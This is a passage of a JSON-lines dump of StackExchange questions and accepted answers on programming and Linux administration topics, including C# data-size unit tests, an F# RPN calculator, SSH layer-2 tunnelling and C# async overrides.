TestCategory(Data Size Tests)]    public void Construct_8_SizeScale_Bits()    {        var expected = new DataSize(1u);        var input = 8u;        var actual = new DataSize((double)input, SizeScale.Bits);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void Construct_1_SizeScale_Bytes()    {        var expected = new DataSize(1u);        var input = 1u;        var actual = new DataSize(input, SizeScale.Bytes);        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetLargestWholeSize_SizeScale_Bits_1024_SizeScale_Kibibytes()    {        var expected = new DataSize(1.0, SizeScale.Mebibytes);        var input = 1024u;        var actual = new DataSize(input, SizeScale.Kibibytes).GetLargestWholeSize(SizeScale.Bits);        Assert.AreEqual(expected.Size, actual.Size);    }    [TestMethod, TestCategory(Data Size Tests)]    public void GetLargestWholeSize_SizeScale_Bytes_1000_SizeScale_Kilobytes()    {        var expected = new DataSize(1.0, SizeScale.Megabytes);        var input = 1000u;        var actual = new DataSize(input, SizeScale.Kilobytes).GetLargestWholeSize(SizeScale.Bytes);        Assert.AreEqual(expected.Size, actual.Size);    }    [TestMethod, TestCategory(Data Size Tests)]    public void Subtract_2_SizeScale_Bytes_1_SizeScale_Bytes()    {        var expected = new DataSize(1u, SizeScale.Bytes);        var initial = new DataSize(2u, SizeScale.Bytes);        var subtract = new DataSize(1u, SizeScale.Bytes);        var actual = initial - subtract;        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Data Size Tests)]    public void Add_1_SizeScale_Bytes_1_SizeScale_Bytes()    {        var expected = new DataSize(2u, SizeScale.Bytes);        var initial = new DataSize(1u, SizeScale.Bytes);        var add = new DataSize(1u, SizeScale.Bytes);        var actual = initial + add;        Assert.AreEqual(expected, actual);    }}Here are the tests for SizeScale:[TestClass]public class SizeScaleTests{    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_None()    {        var input = SizeScale.None;        var actual = input.Abbreviation();        Assert.IsNull(actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Bytes()    {        var expected = B;        var input = SizeScale.Bytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Bits()    {        var expected = b;        var input = SizeScale.Bits;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Kilobytes()    {        var expected = KB;        var input = SizeScale.Kilobytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Kibibytes()    {        var expected = KiB;        var input = SizeScale.Kibibytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Megabytes()    {        var expected = MB;        var input = SizeScale.Megabytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Mebibytes()    {        var expected = MiB;        var input = SizeScale.Mebibytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Gigabytes()    {        var expected = GB;        var input = SizeScale.Gigabytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Gibibytes()    {        var expected = GiB;        var input = SizeScale.Gibibytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Terabytes()    {        var expected = TB;        var input = SizeScale.Terabytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }    [TestMethod, TestCategory(Size Scale Tests)]    public void Abbreviation_Tibibytes()    {        var expected = TiB;        var input = SizeScale.Tibibytes;        var actual = input.Abbreviation();        Assert.AreEqual(expected, actual);    }}All the tests pass at the moment."  , "title": "Representing and handling Data Sizes"  , "tags": "c#;.net;unit testing"  , "accepted_answer": "I would define API a little bit different. Lets go with couple types: SizeUnit and DataSize, so they can be used as:using static SizeUnit;using static Console;class Program{    static void Main(string[] args)    {        double one = 1.0;        DataSize size = one.In(Kilobyte);        WriteLine(size); // 1 kB        SizeUnit unit = Byte;        DataSize size2 = size.To(unit);        WriteLine(size2); // 1024 B        WriteLine(one.In(Byte) + one.In(Kilobyte)); // 1025 B        WriteLine(one.In(Bit) + one.In(Byte)); // 9 b    }}Where library code (a little bit simplified just to demonstrate api):public class SizeUnit{    public static readonly SizeUnit Bit = new SizeUnit(b, 0.125);    public static readonly SizeUnit Byte = new SizeUnit(B, 1);    public static readonly SizeUnit Kilobyte = new SizeUnit(kB, 1024);    // etc...    string Symbol { get; }    double Value { get; }    SizeUnit(string symbol, double value)    {        Symbol = symbol;        Value = value;    }    public override string ToString() => Symbol;    internal double ToSize(double bytes) => bytes / Value;    internal double ToBytes(double size) => size * Value;}And:public struct DataSize{    public static DataSize operator +(DataSize left, DataSize right) =>         new DataSize(left.Bytes + right.Bytes).To(left.Unit);    public static DataSize operator -(DataSize left, DataSize right) =>        new DataSize(left.Bytes - right.Bytes).To(left.Unit);    public static DataSize operator *(DataSize left, ulong right) =>        new DataSize(left.Bytes * right).To(left.Unit);    // etc...    DataSize(double bytes)        : this(bytes, Byte)    {    }    public DataSize(double bytes, SizeUnit unit)    {        Bytes = bytes;        Unit = unit;    }    public override string ToString() => ${Value} {Unit};    public double Bytes { get; }    public double Value => Unit.ToSize(Bytes);    public SizeUnit Unit { get; }    public DataSize To(SizeUnit unit) =>        new DataSize(Bytes, unit);}And:public static class Conversions{    public static DataSize In(this double value, SizeUnit unit) =>         new DataSize(unit.ToBytes(value), unit);}"  } 
{  "id": "_unix.136854"  , "question": "I am trying to understand the Linux processes. I have confusion on the terms pid_max, ulimit -u and thread_max. What exactly is the difference between these terms? Can someone clarify me the differences?"  , "title": "Understanding the difference between pid_max, ulimit -u and thread_max"  , "tags": "process;linux kernel;ulimit;pid;thread"  , "accepted_answer": "Let us understand the difference between a process and a thread. As per this link,The typical difference is that threads (of the same process) run in a  shared memory space, while processes run in separate memory spaces.Now, we have the pid_max parameter which can be determined as below. cat /proc/sys/kernel/pid_maxSo the above command returns 32,768 which means I can execute 32,768 processes simultaneously in my system that can run in separate memory spaces. Now, we have the threads-max parameter which can be determined as below. cat /proc/sys/kernel/threads-maxThe above command returns me the output as 126406 which means I can have 126406 threads in a shared memory space. Now, let us take the 3rd parameter ulimit -u which says the total processes a user can have at a particular time. The above command returns me the output as 63203. This means for all the processes that a user has created at a point of time the user can have 63203 processes running. Hypothetical caseSo assuming there are 2 processes simultaneously being run by 2 users and each process is consuming memory heavily, both the processes will effectively use the 63203 user limit on the processes. So, if that is the case, the 2 users will have effectively used up the entire 126406 threads-max size.   Now, I need to determine how many processes an user can run at any point of time. This can be determined from the file, /etc/security/limits.conf. So, there are basically 2 settings in this file as explained over here.A soft limit is like a warning and hard limit is a real max limit. For example, following will prevent anyone in the student group from having more than 50 processes, and a warning will be given at 30 processes.@student        hard    nproc           50@student        soft    nproc           30Hard limits are maintained by the kernel while the soft limits are enforced by the shell."  } 
{  "id": "_unix.329389"  , "question": "In my gnucash data I operate with several currencies, incl EUR, DKK and SGD.Now, interestingly, in all my reports, the data from the DKK accounts are included and (as intended) converted into EUR.However, SGD accounts are seemingly ignored. If I change the reporting currency, EUR&DKK are ignored, but SGD included. The only interesting warning I see is gnc:get-commodity-totalavg-prices:  Sorry, currency exchange not yet implementedHow to proceed towards getting a report that integrates all three currencies?"  , "title": "gnucash reports seem to ignore a single currency entirely, other currencies not: how to include the currency?"  , "tags": "finance;gnucash"  } 
{  "id": "_codereview.99150"  , "question": "In my question to learn F#, I've decided to get one step closer to creating a programming language, and implement this simple Reverse Polish Notation interpreter of sorts.It does not allow for parentheses in input ( ), and only accepts expressions containing the following valid tokens:0 1 2 3 4 5 6 7 8 9 + - * /Here's a small list of sample inputs and outputs for reference:2 2 + -> 410 10 + 5 * -> 1002 2 * 4 + 2 * -> 16I have a few concerns here:Is this written in a proper functional way?Is there any way to shorten evaluate_expr?Are there any glaring issues that I missed?open Systemopen System.Collections.Genericopen System.Text.RegularExpressions/// <summary>/// Evaluate an expression pair, like '2 2 +'./// <summary>/// <param name=operand>The operand to use.</param>let evaluate_expr_pair (a: string) (b: string) (operand: string) =    match operand with    | + -> (Int64.Parse(a) + Int64.Parse(b)).ToString()    | - -> (Int64.Parse(a) - Int64.Parse(b)).ToString()    | * -> (Int64.Parse(a) * Int64.Parse(b)).ToString()    | / -> (Int64.Parse(a) / Int64.Parse(b)).ToString()    | _ -> /// <summary>/// Evaluate a tokenized expression, such as '[| 2; 2; + |]',/// and return a result, in this case, '2'./// </summary>/// <param name=expr>The expression to evaluate.</param>let evaluate_expr (expr: string[]) =    let program_stack = new Stack<string>()    for token in expr do        program_stack.Push(token)        match token with        | + -> let operand = program_stack.Pop()                 let b = program_stack.Pop()                 let a = program_stack.Pop()                 program_stack.Push(evaluate_expr_pair a b operand)        | - -> let operand = program_stack.Pop()                 let b = program_stack.Pop()                 let a = program_stack.Pop()                 program_stack.Push(evaluate_expr_pair a b operand)        | * -> let operand = program_stack.Pop()                 let b = program_stack.Pop()                 let a = program_stack.Pop()                 program_stack.Push(evaluate_expr_pair a b operand)        | / -> let operand = program_stack.Pop()                 let b = program_stack.Pop()                 let a = program_stack.Pop()                 program_stack.Push(evaluate_expr_pair a b operand)        | _ -> ()    program_stack.Pop()/// <summary>/// Tokenize an input expression, such as '2 2 + 5 *'./// </summary>/// <param name=expr>The expression to tokenize.</param>let tokenize_expr (expr: string) =    let split_pattern = \\s*(\\+|\\-|\\*|\\/)\\s*|\\s+    let split_regex = new Regex(split_pattern)    let result = split_regex.Split(expr)    result.[0..result.Length - 2]/// <summary>/// Check all the tokens of an expression to make sure/// that they are all legal./// </summary>/// <param name=expr>The expression to check.</param>let check_expr (expr: string) =    let valid_token_pattern = [\\s0-9\\+\\-\\*\\/]    let valid_token_regex = new Regex(valid_token_pattern)    for token in expr do        if valid_token_regex.Match(token.ToString()).Success then            ()        else            Console.WriteLine(String.Format(Invalid token \\{0}\\., token))[<EntryPoint>]let main argv =     while true do        Console.Write(: )        let input_expr = Console.ReadLine()        input_expr |> check_expr        let tokenized_expr = input_expr |> tokenize_expr        let result = tokenized_expr |> evaluate_expr        Console.Write(\\n )        Console.Write(result)        Console.Write(\\n\\n)    0"  , "title": "Reverse Polish Notation in F#"  , "tags": "f#;calculator;math expression eval;interpreter"  , "accepted_answer": "evaluate_expr_pairYour calculator performs integer division, which is a bit surprising.  To fix it to do floating-point or decimal arithmetic, though, you would have to do a search-and-replace of Int64.Parse, which has been written an unreasonable number of times in evaluate_expr_pair.evaluate_expr_pair also does a lot of Parse and ToString round trips.  Not only is that inefficient, it could also cost you some loss of precision if you were doing floating-point arithmetic.operand should really be called operator.  (The operands are a and b.)  Ignoring unrecognized operators is a bad idea, even if you have validated the input in check_expr.  If not doing exception handling, I'd rather leave out the default case and let it crash.  I'd also prefer to detect errors while attempting to evaluate the expression than pre-validate, because there are some errors that you can't reasonably detect without evaluating the expression (such as stack underflow).evaluate_exprHere, with your use of the program_stack, you are venturing outside the realm of functional programming, because the .Push() and .Pop() operations cause mutation.  A more FP approach would be to use a List as an immutable stack.Instead of blindly pushing tokens, some of which are operators, onto a stack of strings, you should only put numeric data in the stack.You would be better off treating the operators as functions that manipulate the entire stack directly, instead of as functions that take two operands and return one result.  Otherwise, you would have to implement an operation like swap as a special case, and distinguish between binary operations and unary operations such as negate and ex.tokenize_exprThe simple strategy would be to use new Regex(\\s+) as the delimiter pattern.  You're treating the operators as captured delimiters  presumably to make spaces optional in an expression like 1 2+  and discarding the last element of the resulting array.  That works, as long as the expression ends with an operator.  If the expression is just 5, for example, you'll discard a number.The regex could be written more succinctly using a [-+*/] character class.  I wouldn't bother naming split_pattern and split_regex as variables.mainprintf is preferred over System.Console.Write.If you going to set up a |> pipeline, don't interrupt it by defining let tokenized_expr  that just gets in the way.SummaryRPN calculators are much simpler when the operators work directly on the stack, rather than having a controller feed the operands to them.  In fact, every function except main has traces of the operator definitions.Here's an implementation that I came up with: open Systemopen System.Text.RegularExpressionsexception InputError of stringlet tokenize (expr: string) =    expr |> (new Regex(\\s+|\\s*([-+*/])\\s*)).Split         |> Array.toList         |> List.filter(fun s -> s.Length > 0)let perform (op: string) (stack: decimal list) =    match (op, stack) with    | (+,     a :: b :: cs) -> (b + a) :: cs    | (-,     a :: b :: cs) -> (b - a) :: cs    | (*,     a :: b :: cs) -> (b * a) :: cs    | (/,     a :: b :: cs) -> (b / a) :: cs    | (swap,  a :: b :: cs) -> b :: a  :: cs    | (drop,  a :: cs)      -> cs    | (roll,  a :: cs)      -> cs @ [a]    | (n,       cs)           ->        try            decimal n :: cs        with            | :? System.FormatException -> raise (InputError(n))let evaluate (expr: string list) =    let rec evaluate' (expr: string list) (stack: decimal list) =        match expr with        | []        -> stack        | op :: exp -> evaluate' exp (perform op stack)    evaluate' expr [][<EntryPoint>]let main argv =     while true do        printf :         try            match Console.ReadLine() |> tokenize |> evaluate with            | num :: []  -> num   |> printfn %g       // Single answer            | stack      -> stack |> printfn %O       // Junk left on stack        with        | InputError(str) -> printfn Bad input: %s str    0"  } 
{  "id": "_unix.323743"  , "question": "I need to find a very efficient way of moving a file of matching -mtime from one directory tree to another directory, maintaining the same subdirectory path where it doesn't exist yet.eg. move /dirA/subdir1/subdir2/filename to /dirB/subdir1/subdir2/filenamewhere subdir1/subdir2 may or may not yet exist under dirB/ at time of move.And efficient meaning completing this on a tree of several million files before the next ice age (preferably sub-24 hrs).Rsync comes to mind but some say it's not all that efficient for such matching single-file calls.If this is in the same journaled filesystem, is a file move just a manipulation of filesystem catalogue metadata and not actual block re-writes, thus being that much more efficient?"  , "title": "find matching file and change dirname path"  , "tags": "command line;files;find;move"  } 
{  "id": "_unix.323422"  , "question": "I was on Windows 10 for a while, decided to move to openSUSE, I thought I had my HDD, I installed openSUSE, everything is working fine but when I start my PC the only way to load my OS is to spam F9(choosing boot option) and then picking the openSUSE os.My default boot option is called operational system OS, I think and my wanted boot is openSUSE secure boot, when I don't spam F9->openSUSE my PC tries to get booted to Windows 10 and I jump to a bright blue screen.How can I completely remove the Windows and never see it again ? "  , "title": "Removing the Windows plague from boot options on openSUSE"  , "tags": "boot;windows"  } 
{  "id": "_unix.38313"  , "question": "I have a small script that loops through all files of a folder and executes a (usually long lasting) command. Basically it'sfor file in ./folder/*;do    ./bin/myProgram $file > ./done/$filedone(Please Ignore syntax errors, it's just pseudo code).I now wanted to run this script twice at the same time. Obviously, the execution is unnecessary if ./done/$file exists. So I changed the script tofor file in ./folder/*;do    [ -f ./done/$file ] || ./bin/myProgram $file >./done/$filedoneSo basically the question is:Is it possible that both scripts (or in general more than one script) actually are at the same point and check for the existance of the done file which fails and the command runs twice? it would be just perfect, but I highly doubt it. This would be too easy :DIf it can happen that they process the same file, is it possible to somehow synchronize the scripts?"  , "title": "Parallel execution of a program on multiple files"  , "tags": "shell script;terminal;scripting;parallel"  , "accepted_answer": "This is possible and does occur in reality. Use a lock file to avoid this situation. An example, from said page:if mkdir /var/lock/mylock; then    echo Locking succeeded >&2else    echo Lock failed - exit >&2    exit 1fi# ... program code ...rmdir /var/lock/mylock"  } 
{  "id": "_cstheory.17082"  , "question": "Assume we operate in a finite field. We are given a large fixed polynomial p(x) (of, say, degree 1000) over this field. This polynomial is known beforehand and we are allowed to do computation using a lot of resources in the initial phase. These results may be stored in reasonably small look-up tables.At the end of the initial phase, we will be given a small unknown polynomial q(x) (of, say, degree 5 or less). Is there a fast way to compute p(x) mod q(x) given that we are allowed to do some complicated calculations in the initial phase? One obvious way is to calculate p(x) mod q(x) for all possible values of q(x). Is there a better way to do this?"  , "title": "Find the remainder of a large fixed polynomial when divided by a small unknown polynomial"  , "tags": "cc.complexity theory;ds.algorithms;algebra;algebraic complexity;polynomials"  } 
{  "id": "_softwareengineering.37532"  , "question": "My contract has just ended and I'm wondering what possible jobs I might want to look at next.I've worked in banking and insurance industry for all my career (including one Fortune 500 company) and in my experience banking is the slowest (and most boring) industry to work for due to their strict business practices (which is fair enough). The upside is that they pay well.My questions are:What are the best and worst industries for developers to work in? That is, in the industries you have worked in, what was good and bad from a developer perspective (money, work, culture, benefits, colleagues, etc.)?  How does working as a consultant affect your opinion of an industry?Seeing that I've mentioned boredom, which industry supports fast growth?"  , "title": "Best industry to work for as a developer"  , "tags": "freelancing"  , "accepted_answer": "I'd look at a software house or specialist IT consultancy.  These are organisations where you as a developer are key to what they do - you're not a cost centre or a necessary evil, they exist because of you and have no business without you.  As such they tend to have cultures and processes built with developers at their core and I suspect you'll find that when it comes to your working life, that's worth a lot on a day to day basis.  That's not to say you'll always have the best kit (banks usually have better because they have more money), but they are the ones who are most likely to have standards, values and ways of working that most closely mirror what works well for the average developer (rather than, say, the average banker, lawyer, accountant or whoever).  Plus you will tend to have management who have some experience of technology and get it more than average. Two caveats I'd add:1) There are sectors that will pay better - particularly finance.  Only you can weigh up that against the work and the environment.2) Consultancies can be pretty demanding in terms of hours and geographical flexibility.  Again, you need to work out whether that's something that matters (if you're young then the travel might be appealing) or not."  } 
{  "id": "_softwareengineering.146075"  , "question": "The challenge proposed to me as to create a widget to apply in other sites that makes a website compliant with the cookie law[1].Can I do this without changing server code?I mean, if there's code on server-side that writes an affiliate cookie to the response and my JavaScript widget deletes it after on window.load event: will the site still be cookie law compliant?Then comes the Google Analytics and share buttons cookies. How would I stop those scripts and iframes from being executed in JavaScript?[1] The Information Commissioner's Office (ICO) : New ICO Cookie Law"  , "title": "If I drop cookies with JavaScript will it still be compliant with the EU ICO Cookie Law?"  , "tags": "javascript;cookies"  , "accepted_answer": "Your solution would probably end up being treated as malwareFrom your description, it appears that you want to create a JavaScript library that a website can include on their pages that will guarantee their compliance with the cookie law.Let's side-step the technical issues surrounding the actual implementation of this law when it comes to the location of the user, the client (remote session anyone?), the server and the owner of the web application running on the server. And, let's constrain further and only consider the UK guidance offered around the EU directive.From the Information Commissioner's Office:Cookies or similar devices must not be used unless the subscriber or  user of the relevant terminal equipment:(a) is provided with clear and comprehensive information about the  purposes of the storage of, or access to, that information; and(b) has given his or her consent.This implies that your widget will have to act as the clearing house for this user consent. If you do not have control over the server code then your software will have to block the cookies emanating from the server until such consent is obtained. This means that your software will be interfering with third-party libraries (your Google Analytics and Facebook Likes etc). Such interference, no matter how well-meant, is very likely to degrade the user experience and be looked upon extremely unfavourably by the owners of the third-party libraries. Thus it will be treated as malware. I would think again before going down this road."  } 
{  "id": "_softwareengineering.252178"  , "question": "Many VMs execute a language of binary form, knows as 'bytecode', which is assembled down from a human readable 'assembly' language.For example the assembly instructions push 1 push 2 add are translated (I think) to a series of ones and zeroes, which is then executed by the VM.Why? Why don't VMs, and the JVM as an example, execute the assembly instructions directly?They don't have the limitation of physical computers that can only handle ones and zeroes. The JVM can very well take textual instructions such as push 1 push 2 and execute them as they are. Why the additional step of compilation?"  , "title": "Why do VMs not execute the assembly directly?"  , "tags": "virtual machine"  , "accepted_answer": "Here are a couple of reasons to think about:Using human readable assembly language would waste space on disk and in memory. That has an impact on caching, and therefore on performance. In your example the instruction 'push' takes up four bytes. Why not compress the program by using one byte tokens for all instructions instead of the human readable strings?It wastes cycles on the processor. Your VM probably has at least two instruction mnemonics that start with 'p'. In order for your VM to figure out whether an instruction is 'push' or 'pop' it has to compare at least two bytes. It's much more efficient if each instruction can be uniquely identified by looking at single byte. The argument to your instructions is a string representing a number. The string has to be converted to a binary format appropriate for they underlying CPU before it can be used in arithmetic. That conversion will take dozens of instructions all by itself. Why do that every time the program is run? It's much more efficient to do it in a one-time pass when the byte code is created."  } 
{  "id": "_unix.365704"  , "question": "It seems GParted is giving problems with FAT32 partitions. I am using the latest Gparted Live Disk from their site.But whenever I try to resize my EFI system Partition which is formatted using Fat32, I get the error-:GNU Parted cannot resize this partition to this size. We're working  onNow one of the solutions is to install dosfstools alongside Gparted but I don't know how that will be possible in my case since I am using a Live USB of GParted.Any other tools on linux that can deal with fat32 correctlty. Gparted seems to be able to deal with NTFS correctly.My current partition layout on my 1 TB HDD is as follows-:EFI System Partition (100 MB FAT32) Unallocated (250 MB)Windows Drive(199 GB NTFS)Unallocated (~720 GB)When I try to increase the size of my EFI partition my trying to merge it with the unallocated 250 MB I get the error that it is not possible."  , "title": "Gparted gives problems with Fat32"  , "tags": "gparted;fat32"  } 
{  "id": "_webapps.91431"  , "question": "I want to create a document that has ten pages in it (ten pages, each page a new set of unique information).  I want that document to pull from ten unique, single page documents that users can update.  I want the updates in the unique documents to populate in the conglomerate document.Is this possible with Google Docs?I have seen that dynamic text can be linked between Google Sheets, or between Google Sheets and Google Docs but I want to do dynamic text from Google Doc to Google Doc."  , "title": "Reference dynamic text from another document within Google Docs"  , "tags": "google documents"  } 
{  "id": "_softwareengineering.285096"  , "question": "In an OOP design phase strategy, Any physical/conceptual object of a system can be modeled(considered) as computational object in your OOP designed program based on below two conditions:First case: That physical/conceptual object of a system must have it's local state and that state changes over time.orSecond case: that physical/conceptual object of a system may or may not have it's local state but that same object must influence the state of other physical/conceptual object of a system through interactions.Above two cases are also supported here, which says:  Viewing objects as finite state machinesTo illustrate above two cases, below is the object model diagram and class diagram of coin flipping game.class Coin and class Player type objects, have local state coinOption, as mentioned in  first case. class CoinGame type object has no local state but influence the state of other objects(of type Player and Coin), as mentioned in second case.As per second case, class CoinGame type object influences the state of other objects of type Player and Coin through below interactions, but class CoinGame type object itself does not have local state on it's own.So, class CoinGame does not maintain any local state and has composite relation with Player and Coin, as per below java code.public class CoinGame {        Player[] players = new Player[2];        Coin theCoin = new Coin();        CoinGame(String player1Name, String player2Name){            players[0] = new Player(player1Name);            players[1] = new Player(player2Name);        }       .....}Here is the complete code in java.Above two cases are valid, when you select objects from real world.Is my understanding correct?"  , "title": "When is an object of real world a (computational) object in OOP world?"  , "tags": "java;design;object oriented;object oriented design;class design"  } 
{  "id": "_codereview.69485"  , "question": "I made a program, but I not happy with the quantity of code. The end result is good, but I believe it can be made much easier, only I don't know how. The functionality: If equal items > 1 in list, then assign all equal items a unique set number.  Below I made a unit test. I'm not happy with the class CreatSet. Can somebody advise me on how this can be implemented better?import unittestclass Curtain(object):  def __init__(self, type, fabric, number):      self.type = type      self.fabric = fabric      self.number = number      self.set_number = None  def __str__(self):      return '%s %s %s %s' % (self.number, self.type, self.fabric, self.set_name)  def __eq__(self, other):      return self.type == other.type and self.fabric == other.fabricclass CreatSet(object):  def make_unique(self, original_list):      checked = []      for e in original_list:          # If curtain: type and fabric is equal          if e not in checked:              checked.append(e)      return checked  def create_set(self, curtains):      # Uniuqe items in list      unique_list = self.make_unique(curtains)      result = []      for x in unique_list:          # Create set list          set_range = []          for y in curtains:              if y == x:                  set_range.append(y)          # Add set range into list          result.append(set_range)      # Create set number      set_result = []      set_number = 0      for x in result:          if len(x) == 1:              set_result.append(x[0])          else:              set_number += 1              for y in x:                  y.set_number = set_number                  set_result.append(y)      # Return list ordered by number      return sorted(set_result, key=lambda curtain: curtain.number)class TestCreateSet(unittest.TestCase):    def setUp(self):      self.curtains = []      self.curtains.append(Curtain('pleatcurtain', 'pattern', 0))      self.curtains.append(Curtain('pleatcurtain', 'plain', 1))      self.curtains.append(Curtain('pleatcurtain', 'pattern', 2))      self.curtains.append(Curtain('foldcurtain', 'pattern', 3))      self.curtains.append(Curtain('pleatcurtain', 'plain', 4))      self.curtains.append(Curtain('foldcurtain', 'plain', 5))      self.curtains.append(Curtain('pleatcurtain', 'pattern', 6))      self.curtains.append(Curtain('foldcurtain', 'pattern', 7))    def test_auto_set(self):      creat_set = CreatSet()      result = creat_set.create_set(self.curtains)      # Creating set      self.assertEqual(result[0].set_number, 1)  # pleatcurtain, pattern      self.assertEqual(result[1].set_number, 2)  # pleatcurtain, plain      self.assertEqual(result[2].set_number, 1)  # pleatcurtain, pattern      self.assertEqual(result[3].set_number, 3)  # foldcurtain, pattern      self.assertEqual(result[4].set_number, 2)  # pleatcurtain, plain      self.assertEqual(result[5].set_number, None)  # foldcurtain, plain      self.assertEqual(result[6].set_number, 1)  # pleatcurtain, pattern      self.assertEqual(result[7].set_number, 3)  # foldcurtain, patternif __name__ == '__main__':    unittest.main()"  , "title": "Assign a unique number to duplicate items in a list"  , "tags": "python"  , "accepted_answer": "As you've already implemented Curtain.__eq__, if you also implement Curtain.__hash__ you can use it as a dictionary (or collections.Counter...) key, or a set member:def __hash__(self):    return hash(self.type) ^ hash(self.fabric)Now make_unique is trivial:def make_unique(self, original_list):    return set(original_list)(Note: if you require order to be retained, this will need additional work.)This also allows you to easily determine how many of each distinct Curtain you have:>>> from collections import Counter>>> Counter(curtains)Counter({<__main__.Curtain object at 0x02A15190>: 3,          <__main__.Curtain object at 0x031A0CF0>: 2,          <__main__.Curtain object at 0x031A0ED0>: 2,          <__main__.Curtain object at 0x0329EA30>: 1})(Note: implementing Curtain.__repr__ would make this more readable!)As pointed out in the comments, the __hash__ implementation I suggest has an issue - if either attribute type or fabric is changed, the hash will be different. You could protect these attributes by making them read-only using properties:class Curtain(object):    def __init__(self, type, ...):        self._type = type # note leading underscore on attribute    @property # defining setter but no getter    def type(self):        return self._typeAlternatively, you can implement Curtain.__lt__ etc., then sort the list and use itertools.groupby to get your groups of equal Curtains.Either way, I would not implement CreatSet as a class, there's no need (as should be clear from the fact that there is no __init__ and no class or instance attributes). Just have one class, and two functions:class Curtain(object):    ...def create_set(curtains):    ...def make_unique(curtains):    ...Your code is generally compliant with the style guide (well done!) but you could do with some explanatory docstrings."  } 
{  "id": "_webmaster.68972"  , "question": "I'm looking for some help with the Google Analytics Behavior Flow. I want to track all the traffic through a section of our site that ends up going to another particular section of my web site.Any advice on how to get this information."  , "title": "Tracking Traffic Through a Certain Page"  , "tags": "google analytics"  , "accepted_answer": "Use segments to view this report for only the users that have viewed both sections of your site.Click + Add Segment from the behavior flow report.Click the red + New Segment button.Click Advanced conditions.Where it says Ad Content, change it to Page.Enter an expression that matches the URLs for the first section of your site.Hit the AND button to add another condition.Also use Page with an expression to match the URLs for the second section of your site.Name your segment where it says Segment Name Use the blue Save button to apply the segmentRemove the All sessions segment if it is still applied as wellNow your report should just have the traffic that you want to examine in more detail."  } 
{  "id": "_softwareengineering.190737"  , "question": "I have a Java Web application backed by a database. Both are hosted in Amazon EC2. If the Internet is down, I need to allow internal users to be able to continue to work and somehow update the hosted service when the Internet is available again. Is this possible? How would I design such a solution."  , "title": "How do I make a cloud based web app accessible internally in the event of an internet outage?"  , "tags": "java;web services;web;applications"  } 
{  "id": "_unix.268690"  , "question": "To connect multiple tunnel endpoints to a common bridge interface, I have to create a Layer 2 tunnel over ssh. The server is Ubuntu 10.04, the client is Ubuntu 14.04. I have enabledPermitTunnel yesPermitRootLogin yesin the servers /etc/sshd_config. When I'm connecting with sudo ssh -w any:any -o Tunnel=ethernet root@remote I get a tun device instead of the expected tap device. If I change PermitTunnel yes to PermitTunnel ethernet on the server, I get a channel 0: open failed: administratively prohibited: open failed error message and no tunnel device at all.I'm at a loss, because I'm positive that this used to work at some point in the past (with different machines and probably Linux versions)."  , "title": "For some reason sudo ssh -w any -o Tunnel=ethernet root@remote creates tun devices instead of tap devices"  , "tags": "linux;ssh;ssh tunneling;tap"  , "accepted_answer": "I have the same problem. According to my tests, it is not related to the server, instead it has something to do with the client. Either ssh build and configuration, either due to the local network configuration.I've been able to create a tap interface between my laptop and all of my devices but when I tried to tunnel between the devices, only tun interfaces were created.[edit]The workaround consists in putting the -o before the -w like this :ssh -o Tunnel=ethernet -w any:any root@remoteinstead of :ssh -w any:any -o Tunnel=ethernet root@remoteI tried it myself, it works, here is the source : https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1316017"  } 
{  "id": "_softwareengineering.311870"  , "question": "In C#, when you override a method, it is permitted to make the override async when the original method was not. This seems like poor form.The example that brought me to this was this — I was brought in to assist with a load test problem. At around 500 concurrent users, the login process would break down in a redirect loop. IIS was logging exceptions with the message An asynchronous module or handler completed while an asynchronous operation was still pending. Some searching led me to think that someone was abusing async void, but my quick searches through the source could find nothing.Sadly, I was searching for 'async\\svoid' (regex search) when I should have been looking for something more like 'async\\s[^T]' (assuming Task wasn't fully qualified… you get the point).What I later found was async override void onActionExecuting(... in a base controller. Clearly that had to be the problem, and it was. Fixing that up (making it synchronous for the moment) resolved the problem.Back to the question: Why oh why can you mark an override as async when the calling code could never await it?"  , "title": "Why does C# allow you to make an override async?"  , "tags": "c#;async"  , "accepted_answer": "The async keyword allows the method to use the await syntax within its definition.  I can await on any method that returns a Task type regardless of whether it's an async method. void is a legal (albeit discouraged) return type for an async method, so why wouldn't it be allowed?  From the outside, async isn't enabling anything you couldn't do without it.  The method you are having trouble with could have been written to behave exactly the same without being async. Its definition just would have been more verbose.To callers, an async T method is a normal method that returns T (which is limited to void,Task, or Task<A>).  That it is an async method is not part of the interface.  Notice that the following code is illegal:interface IFoo {    async void Bar();}It (or similar code in an abstract class) produces the following error message in VS2012:The 'async' modifier can only be used in methods that have a statement  bodyIf I did intend a method in an interface or parent class to be typically asynchronous, I can't use async to communicate that.  If I wanted to implement it with the await syntax, I would need be able to have async override methods (in the parent class case)."  } 
